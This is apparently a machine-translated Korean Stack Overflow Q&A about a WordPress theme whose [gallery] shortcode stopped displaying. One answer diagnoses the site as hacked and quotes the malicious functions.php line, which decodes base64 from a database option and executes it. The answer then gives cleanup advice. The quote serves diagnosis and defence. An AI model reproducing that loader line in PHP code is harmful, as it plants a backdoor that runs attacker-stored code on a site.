사용자 지정 테마에 기본 Wordpress [갤러리]가 표시되지 않음
최근 업데이트 전까지는 모든 게 괜찮았어요. [gallery]
이미지가 표시되지 않게 되어, 코드에 포함되어 있지 않은 것 같습니다.
페이지 루프는 다음과 같습니다.
<?php
// Start the loop.
while ( have_posts() ) : the_post();?>
<article id="post-<?php the_ID(); ?>" <?php post_class(); ?> role="article">
<h1 class="entry-title"><?php the_title(); ?></h1>
<div class="entry-content">
<?php the_content(); ?>
</div><!-- .entry-content -->
</article><!-- #post-<?php the_ID(); ?> -->
<?php
// End the loop.
endwhile;
?>
th_content의 텍스트 내용은 표시되지만, 해당 콘텐츠의 [갤러리]는 표시되지 않거나 코드로 렌더링되지 않습니다(javascript에 문제가 있으면 안 됩니다).
여기 기능이 있습니다.php 파일: http://pastebin.com/vfJpphgt (네, 갤러리에 대한 테마 지원을 추가했지만 변경은 없습니다)
사이트가 해킹당했군요.
페이스트빈의 마지막 행이 데이터베이스에서 악성 코드를 로드하고 있습니다. add_action('init', create_function('', implode("\n", array_map("base64_decode", unserialize(get_option("wptheme_opt")))))); ?>
실행된 코드는 갤러리 미디어 파일을 검색하기 위한 WPQuery를 혼란스럽게 합니다.그렇기 때문에[gallery]
(사실 그 부분은 운이 좋을 수도 있어요)
이 멀웨어에 대한 항목은 sucuri.net에서 찾을 수 있습니다.서버의 모든 파일에 의심스러운 행이 있는지 확인해야 합니다.가장 가능성이 높은 공격 경로는 WordPress 취약성에 의한 것이지만 WordPress 및 서버에서 모든 암호를 변경해야 합니다.
악성 프로그램을 제거한 후 Wordfence와 같은 도구를 사용하여 WordPress를 치료할 수 있습니다(플러그인 또는 해당 작성자와 관련이 없음).
플러그인 NextGEN Gallery를 설치하고 갤러리 이미지를 추가한 후 홈 페이지에 표시해 보십시오.
https://wordpress.org/plugins/nextgen-gallery/
콘솔에 javascript 오류가 표시됩니까? 그리고 출력은 무엇입니까?
<?php echo do_shortcode('[gallery]');?>
언급URL : https://stackoverflow.com/questions/31267336/default-wordpress-gallery-not-showing-up-in-custom-theme
'programing' 카테고리의 다른 글
AngularJS - ng-repeat에서 정의되지 않은 속성에 대한 필터? (0) | 2023.03.10 |
---|---|
왜 Angular JS가 아닌 Express를 사용하려고 합니까? (0) | 2023.03.10 |
현지화를 위한 각도 js 지원 (0) | 2023.03.10 |
Jquery 및 HTML FormData는 "Uncatched TypeError:부정한 호출" (0) | 2023.03.10 |
Bash 변수를 사용하여 JSON 문자열 구축 (0) | 2023.03.10 |